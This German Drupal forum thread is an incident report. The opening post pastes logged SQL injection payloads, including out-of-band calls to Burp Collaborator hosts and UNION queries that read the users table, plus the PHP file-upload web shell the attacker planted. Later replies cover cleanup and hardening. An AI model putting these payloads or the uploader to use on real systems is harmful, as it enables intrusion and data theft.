SQL-Injection? User hat sich Zugriff aufs Admin-Konto geholt und Änderungen vorgenommen.
am 25.01.2023 - 13:23 Uhr in
Werte Foristen,
heute morgen hat sich ein User registriert und dann angefangen Sicherheitslücken zu suchen. Dazu nutzte er scheinbar das Tool "Burp Suite".
In den Logs finde ich solche Einträge.
<?php
/flag/flag/bookmarks/100032459?destination=node%2f100032459'%7c%7c(select%20extractvalue(xmltype('%3c%3fxml%20version%3d%221.0%22%20encoding%3d%22UTF-8%22%3f%3e%3c!DOCTYPE%20root%20[%20%3c!ENTITY%20%25%20stsnl%20SYSTEM%20%22http%3a%2f%2f2hkezl34t4mvso0j2yjtd1uvpmvmje7iv9iz6o.burpcollab'%7c%7c'orator.net%2f%22%3e%25stsnl%3b]%3e')%2c'%2fl')%20from%20dual)%7c%7c'&token=oy_CHqQghl22Lcb9QM4hVCjOidjJh-l4d_8L17oIP-I
/messages/new/12158?destination=(select%20extractvalue(xmltype('%3c%3fxml%20version%3d%221.0%22%20encoding%3d%22UTF-8%22%3f%3e%3c!DOCTYPE%20root%20[%20%3c!ENTITY%20%25%20qfeor%20SYSTEM%20%22http%3a%2f%2fqhb2z93stsmjsc072mjhdpujpavaj376vxin6c.burpcollab'%7c%7c'orator.net%2f%22%3e%25qfeor%3b]%3e')%2c'%2fl')%20from%20dual)
/sites/all/themes/grelicht/templates/search.php?q=(select%20extractvalue(xmltype('%3c%3fxml%20version%3d%221.0%22%20encoding%3d%22UTF-8%22%3f%3e%3c!DOCTYPE%20root%20[%20%3c!ENTITY%20%25%20rxovz%20SYSTEM%20%22http%3a%2f%2fr6y3oastitbkhdp8rn8i2qjkebkb89wck37tvi.burpcollab'%7c%7c'orator.net%2f%22%3e%25rxovz%3b]%3e')%2c'%2fl')%20from%20dual)
/sites/all/themes/grelicht/templates/search.php?q=123123123%22%27%2C%28.%29.%2C%29%28
/node/100032459%27%3Bdeclare%20%40q%20varchar%2899%29%3Bset%20%40q%3D%27%5C%5C3lpf3m75x5qwwp4k6znuh2ywtnznnfb62uthj58.burpcollab%27%2B%27orator.net%5Cokz%27%3B%20exec%20master.dbo.xp_dirtree%20%40q%3B--%20
/profile/lila-lisa?qt-sedcard=0%20into%20outfile%20'%5c%5c%5c%5cnb2zt6xpnpggm9u4wjde7mogj7p7d31u5iw5mtb.burpcollaborator.net%5c%5cgcf'%3b%20--%20
/messages/new'%2c0)waitfor%20delay'0%3a0%3a20'--/12158?destination=node/100032459
/messages/new/(select%20load_file('%5c%5c%5c%5cbp4n7ubd1du40x8sa7r2la24xv3vroffh38vvlja.burpcollaborator.net%5c%5cusm'))?destination=node/100032459
/messages/new/h7ptp0tjjjcai3qysd983gkaf1l19uxmldd03os.burpcollaborator.net?destination=node/100032459
/sites/all/themes/grelicht/templates/search.php?q=123123123%27%20UNION%20ALL%20SELECT%20CONCAT%280x717a787671%2C0x5342464257495079795753654c6d4d644a69547369446a4f7175624c776a4d66486f5156677a4342%2C0x716a787071%29--%20-
/sites/all/themes/rotlicht/templates/search.php?q=123123123
/sites/all/themes/grelicht/templates/search.php?q=123123123%27%20UNION%20ALL%20SELECT%20CONCAT%280x717a787671%2C%28CASE%20WHEN%20%28ISNULL%28JSON_STORAGE_FREE%28NULL%29%29%29%20THEN%201%20ELSE%200%20END%29%2C0x716a787071%29--%20-
/sites/all/themes/grelicht/templates/search.php?q=123123123%27%20UNION%20ALL%20SELECT%20CONCAT%280x717a787671%2C%28CASE%20WHEN%20%28ISNULL%28JSON_STORAGE_FREE%28NULL%29%29%29%20THEN%201%20ELSE%200%20END%29%2C0x716a787071%29--%20-
/sites/all/themes/grelicht/templates/search.php?q=123123123%27%20UNION%20ALL%20SELECT%20CONCAT%280x717a787671%2CJSON_ARRAYAGG%28CONCAT_WS%280x777664796877%2Ctable_name%29%29%2C0x716a787071%29%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20table_schema%20IN%20%280x726f746c696368746167656e74656e37%29--%20-
/sites/all/themes/grelicht/templates/search.php?q=123123123%27%20UNION%20ALL%20SELECT%20CONCAT%280x717a787671%2CJSON_ARRAYAGG%28CONCAT_WS%280x777664796877%2Ctable_name%29%29%2C0x716a787071%29%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20table_schema%20IN%20%280x726f746c696368746167656e74656e37%29--%20-
/sites/all/themes/grelicht/templates/search.php?q=123123123%27%20UNION%20ALL%20SELECT%20CONCAT%280x717a787671%2Ctable_name%2C0x716a787071%29%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20table_schema%20IN%20%280x726f746c696368746167656e74656e37%29--%20-
/sites/all/themes/grelicht/templates/search.php?q=123123123%27%20UNION%20ALL%20SELECT%20CONCAT%280x717a787671%2Ctable_name%2C0x716a787071%29%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20table_schema%20IN%20%280x726f746c696368746167656e74656e37%29--%20-
?>
Im Logfile sind davon endlose Versuche zu finden, die ich hier, aus Übersichtsgründen, nicht alle reinkopieren will.
Irgendwann hatte er aber Erfolg und den Namen der Datenbank (heraus)gefunden (wie auch immer er das geschafft hat).
Anschließend hat er er scheinbar die Drupal-SQL-User-Table ausgelesen.
<?php
/sites/all/themes/grelicht/templates/search.php?q=123123123%27%20AND%20%28SELECT%203065%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x717a787671%2C%28SELECT%20COUNT%28%2A%29%20FROM%20meine_datenbank.users%29%2C0x716a787071%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x%29a%29--%20ajSk
/sites/all/themes/grelicht/templates/search.php?q=123123123%27%20UNION%20ALL%20SELECT%20CONCAT%280x717a787671%2CJSON_ARRAYAGG%28CONCAT_WS%280x777664796877%2Cname%2Crid%2Cweight%29%29%2C0x716a787071%29%20FROM%20meine_datenbank.role--%20-
?>
Auch hiervon gibt es sehr viele Versuche/Einträge im Logfile.
Darüber hat der Angreifer es geschafft, den Namen und das Passwort meines Administrator-Accounts herauszufinden (oder aber meine Session zu "klauen") und hat sich als Admin eingeloggt.
Anschließend hat er mehrere Adminpfade im Backend aufgerufen ...
z.B.
https://www.meine_domain.com/admin/config/media/file-system/filefield-paths
https://www.meine_domain.com/admin/config/content/formats
https://www.meine_domain.com/admin/appearance/settings
https://www.meine_domain.com/admin/appearance/settings/bartik
https://www.meine_domain.com/admin/appearance/settings/mobile_theme
https://www.meine_domain.com/admin/structure/forum/settings
usw.
und er hat seinem Account (Normaluser) die Rolle "Administrator" gegeben.
Anschließend hat er vom Content-Type "Article" einen Node eingelegt (Format: PHP-Code).
Dort findet man folgenden Code.
<?php
if(isset($_POST['Submit'])){
$filedir = "";
$maxfile = '2000000';
$userfile_name = $_FILES['image']['name'];
$userfile_tmp = $_FILES['image']['tmp_name'];
if (isset($_FILES['image']['name'])) {
$abod = $filedir.$userfile_name;
@move_uploaded_file($userfile_tmp, $abod);
echo"<center><b>Done ==> $userfile_name</b></center>";
}
}
else{
echo'
<form method="POST" action="" enctype="multipart/form-data"><input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>';
}
?>
Anschließend hat er noch endlose Requests auf "api.php" durchgeführt. Leider kann ich nicht erkennen was er damit bezweckt/angerichtet hat.
Danach loggte er sich aus.
Den User habe ich zwar gelöscht, die Lücke wird aber offen sein und derjenige kann (nächste Nacht) wieder meinen Admin-Account übernehmen. Ich habe eben das Profil eines Users aufgerufen und wurde, per Affiliate-Link, auf eine Porn-Seite umgeleitet (das passiert aber nur beim ersten Aufruf des Profils).
Höchstwahrscheinlich ist meine ganze Drupal-Installation "verseucht".
Gibt es aktuelle Sicherheitslücken in der "search.php", über die man erfolgreich "Cross Site Scripting (XSS))" oder eine SQL-Injection vornehmen kann? Oder gab es in der nahen Vergangenheit solche Vulnerabilitys?
Es muss eine geben, denn wie gesagt, ein "Normaluser" (mit Minimalrechten) hat es geschafft mein Admin-Konto zu übernehmen und vollständigen Zugriff auf meine Drupalinstallation bekommen.
Was tun?
Kann dazu jemand etwas sagen?
Danke und Gruß
- Anmelden oder Registrieren um Kommentare zu schreiben
Oh Mann.In
am 25.01.2023 - 14:24 Uhr
Oh Mann.
In /sites/all/themes/ befindet sich die api.php
Die wurde heute früh, um 5:30 Uhr, vom Angreifer dort hochgeladen.
Das ist ein Dateimanager über den man über den Browser Zugriff auf alle Ordner/Dateien der Drupalinstallation bekommt (kannte ich bisher nicht).
Darüber hat der Angreifer einige Dateien hochgeladen, auch Module, dann damit irgendwas gemacht, und anschließend wieder restlos gelöscht.
Was diese Dateien und Module jetzt im System angerichtet haben, kann ich leider nicht erkennen/nachvollziehen.
Was tun?
Drupal rockt!!!
Kann die Ursache eventuell an
am 26.01.2023 - 10:43 Uhr
Kann die Ursache eventuell an der php.ini 7.4 liegen, die nicht mehr unterstützt wird?
Kannst du ein Backup einspielen von vorgestern unter .htaccess / Passwort Schutz und dann gleich in der Konfiguration erstmal umstellen, das nur Admins neue Konten freigeben können und / oder neue User eine E-Mail Bestätigung erhalten vor Freischaltung etc. ?
Eventuell auch mit dem Hoster sprechen, wie weit der Idiot gekommen ist, also das du den Webspace komplett bereinigen kannst. Ich habe da immer Alpträume von versteckten Dateien, die man nicht sieht!
Bessere Tipps habe ich leider nicht, viel Glück...
Grüße Jenna
Verzeichnisse des Webspace komplett leeren
am 27.01.2023 - 16:11 Uhr
Ich würde dir ebenfalls raten, den Webspace einmal komplett zu leeren und Backups einzuspielen. Auch die Datenbank würde ich komplett neu aufsetzen und dann die letzte verfügbare (sichere) Sicherung einspielen.
Viel Glück!
Hallo,danke für die Hinweise
am 27.01.2023 - 17:23 Uhr
Hallo,
danke für die Hinweise aber ich betreibe einen Root-Server, keinen Webspace.
Das System ist jetzt sauber.
Noch unter Drupal 6 schrieb ich mir ein PHP-Script (das mit jquery-autocomplete zusammenarbeitet).
Darüber kann man in einem Textfeld des User-Profiles (Node) die ersten 3 Buchstaben eines Ortes eingeben und jquery-autocomplete zeigt dann eine Liste mit max. 7 Einträgen von Städtenamen an, die mit diesen 3 Buchstaben beginnen. Man kann auch 4 oder mehr Buchstaben verwendet um den richtigen Ort zu finden/auszuwählen.
In diesem PHP-Script war die Sicherheitslücke.
Dummerweise habe ich die Städte-Tabelle, auf die das Script zugreift, in der Drupal-Datenbank angelegt.
Bei jedem Upgrade auf eine neue Drupalversion habe ich dieses Script mit übernommen (und fast vergessen). Darüber hat der Angreifer per SQL-Injection Zugriff auf die Städte-Tabelle bekommen und auch über die gesamte Drupal-Datenbank.
Wie er mein Admin-Passwort (das ja in der Datenbank verschlüsselt vorliegt) auslesen konnte, ist mir schleierhaft. Höchstwahrscheinlich hat er den Hash oder die Session geklaut und konnte sich darüber einloggen. Wie er das genau gemacht hat, weiß ich nicht.
Er hat dann, in einem Contribmodul, zusätzlichen Code eingefügt, der dafür sorgte, dass im Footer jedes Nodes ein JS-Script eingebunden und aufgerufen wurde. Das führte dazu, dass jeder User/Besucher meiner Webseite über einen Affilate-Link auf eine Pornseite umgeleitet wurde.
Der Affilate-Link war "zerstückelt" und codiert, sodass man mit "find" oder "grep" die einzelnen Link-Stück (z.B. "trafficpartner") nicht finden konnte.
Zum Glück hatte ich vor einigen Jahren ein Script geschrieben, dass Änderungen in der Drupal-Datenbank mitloggt. Der Angriff, bis zum Erfolg, dauerte 3 Stunden und in diesem Logfile waren tausende Einträge, da meine User ja auch aktiv waren (Bilder hochgeladen, Nachrichten verschickt, ihre Profile geändert haben usw) und ich musste diese tausende Logeinträge händisch durchschauen und überprüfen. Darüber habe ich herausgefunden, wo der Angreifer aktiv war und welche Änderungen er vorgenommen hat.
In der Datenbank ist kein Code zu finden, den man als Backdoor verwenden kann.
Anschließend habe ich noch mit den Modulen "hacked" und "diff" die Drupalinstallation überprüft ... und weil ich schon dabei mit "find (...) -mtime -1" den gesamten Server auf veränderte Dateien (in den letzten 24 Stunden) durchsuchen lassen.
Das alles hat die ganze Nacht gedauert.
Die Sicherheitslücke ist geschlossen, die Städtetabelle habe ich in eine eigene Datenbank verschoben (mit neuem (User/Group)) und den Schreibzugriff (dort) deaktiviert. Falls der Angreifer noch eine andere Möglichkeit findet, per SQL-Injection einzubrechen, bekommt er nur Zugriff auf die Städtedatenbank. Weiter kommt er dann nicht.
Ich schreibe gerade an zwei Shell-Scripten.
Nr. 1 sorgt dafür, dass morgends um 3:30 Uhr ein Backup der gesamenten Drupalinstallation erstellt wird, und dann, gezippt und verschüsselt (10GB), auf eine andere Festplatte kopiert wird.
Nr. 2 wird, per Cron, alle 5 Minuten aufgerufen und überprüft, ob jemand sich die Rolle "administrator" verschafft hat, was mir dann sofort per Mail oder SMS mitgeteilt wird.
So, das wars, im großen und ganzen.
Der Hacker war aber (zum Glück) nur ein halbböser ... er hat sogar ein Foto hinterlassen, auf dem eine männliche Person zu sehen ist, die mit einem Glas Bier der Kamera zuprostet und dabei grinst. Ob das der Angreifer ist, ist unwahrscheinlich, aber wer weiß
Aber, da er Adminrechte erlangt hatte, hätte der mir meine gesamt Drupalinstallation, samt Datenbank, löschen können, was er aber nicht getan hat. Darüber bin ich froh, denn das letzte Backup ist schon ein paar Tage alt.
Und, ich habe viel gelernt, denn so etwas habe ich das erste Mal überhaupt erlebt und bin jetzt senibilisiert und weiß mehr..
Gruß Ionit
Drupal rockt!!!
Ich würde hier noch keine Entwarnung geben
am 28.01.2023 - 12:10 Uhr
Ich weiß gar nicht wo ich anfangen sollte, um alles aufzulisten, was hier unklug realisiert wurde. Leider sind irgendwelche "einfachen" Datenbank-Abfragen häufig gerne für irgendwelche Autocompletion Aufgaben eine Ursache für SQL-Injections. Dafür ein zweite DB zu nutzen hilft vllt. ein wenig in diesem Kontext. Leider erschwert dies dann Backup-Skripte und Automatische Tests, die in einem sinnvollen Drupal-Betrieb nützlich wären. Am besten als konkreten Tipp auch für alle anderen für die Zukunft: Mit einer sauberen Datenbank-Abfrage, die der Core bereit stellt sowie auch "Bereinigungs"-funktionen (Sanitation) für User-Angaben aller Art wäre das nicht passiert. Hier gäbe es noch viel zu schreiben, aber das wäre für diesen post zu viel. Nur so viel: Wenn ein boshafter Angreifer eine SQL-Injection von Remote ausnutzen kann, dann kann sich dieser auch des User 1 bemächtigen. Das Skript bezüglich der Role-Überprüfung bringt somit nicht viel. Ich würde vor allem mehr Zeit in die Absicherung von Custom Code stecken. Das Einspielen von Security Updates für Server und Drupal setze ich hier mal vertrauensvoll voraus.
Wenn der Webserver übrigens genau so "geschickt" konfiguriert wurde wie der angreifbare Custom Code, könnte sich Angreifer auch Zugriffe außerhalb des Drupal-Systems verschafft haben. Vor solchen Neben-Effekten wurde vom offiziellen Drupal Security Team 2014 im Zusammenhang mit Drupalgeddon (auch SQL-Injection from Remote) auch explizit gewarnt. Da wurde generell empfohlen im Zweifel auch Server neu aufzusetzen
Da hier offensichtlich eine User-Datenbank kompromittiert wurde gehe ich davon aus, daß hier auch Informationspflichten bezüglich der DSGVO in Wege geleitet wurden/werden.
Um Abschließend noch ein Moderations-Hinweis: Bitte den Thread als "[gelöst] " markieren.
# DrupalCenter-Moderator # https://www.drupal.org/u/c-logemann
# CTO der Nodegard GmbH: Tech. Concepts | Security + Availability Operations / Wir unterstützen IT-Abteilungen, Agenturen, Freiberufler:innen
Ganz wichtig: Sichere Dateirechte als Schutz vor Schadcode
am 28.01.2023 - 12:36 Uhr
Da hier offensichtlich Schadcode an eine Stelle geladen wurde, an dem er am besten gar nicht ausführbar sein sollte, hier noch ein Hinweis auf ein altes und leider immer noch auch von Drupaladmins viel zu sehr vernachlässigtes Thema:
Sichere Dateirechte: Wissen verbreiten und Provider überzeugen
# DrupalCenter-Moderator # https://www.drupal.org/u/c-logemann
# CTO der Nodegard GmbH: Tech. Concepts | Security + Availability Operations / Wir unterstützen IT-Abteilungen, Agenturen, Freiberufler:innen
Zitat: Wie er mein
am 29.01.2023 - 10:16 Uhr
Wie er mein Admin-Passwort (das ja in der Datenbank verschlüsselt vorliegt) auslesen konnte, ist mir schleierhaft. Höchstwahrscheinlich hat er den Hash oder die Session geklaut und konnte sich darüber einloggen.
Das ist leider sehr einfach, wenn er schon soweit gekommen ist, ich brauchte das auch mal und wenn er ohnehin in die DB kommt, dauert das 2 Min.
Vor Jahren hatte ich für ein halbes Jahr auch mal einen eigenen Rootserver und bin wieder auf einen Top betreuten Flexserver (Managed-Server) umgestiegen, mit 24/7 Support (echte Techniker, kein CallCenter), weil es fast nicht mehr möglich ist auf dem laufenden zu bleiben, um immer wieder neue Schwachstellen abzusichern und mir war das auch zeitlich ein zu hoher Aufwand. Mein Hoster macht bei diesem Tarif jede Nacht ein komplettes Backup des gesamtes Servers (alle Installationen) und ich kann diese rückwirkend 14 Tage auf alle einzelnen Sicherungspunkte wieder einspielen lassen. Eigene Backups sind natürlich zusätzlich jederzeit möglich. Kostet ein paar Euro mehr, aber mir ist es das wert.
Ich stimme Carsten zu, das die jetzige Lösung nicht wirklich 100 pro Sicherheit bietet. Wenn schon eine 2. DB, dann pack doch alle Orte als Taxo-CSV da rein und nehme eine Autocomplete-Auswahl als Modul. Drupal ist doch die Menge der Taxonomiebegriffe völlig egal und zudem kannst du dieses Feld überall wieder verwenden, ohne mit eigenen Scripten zu arbeiten.
Guck dir doch mal https://www.drupal.org/project/autoban an, ich hatte das im Einsatz und das ist echt genial (eigene Rules erstellen usw.). Da kommt so schnell keiner mehr ins System, zumindest nicht, wenn er mehr als 2 oder 3 Anläufe braucht, was ja fast immer der Fall ist (glaube ich...). Der einzige Grund, warum ich das momentan nicht nutze, ist, das ich mich mehrmals selbst ausgesperrt habe, das lag aber daran das ich nicht so viel Zeit in die Logik gesteckt habe bzw. die logischen Schritte meiner eigenen Rules nicht bis zu Ende gedacht habe.
Grüße Jenna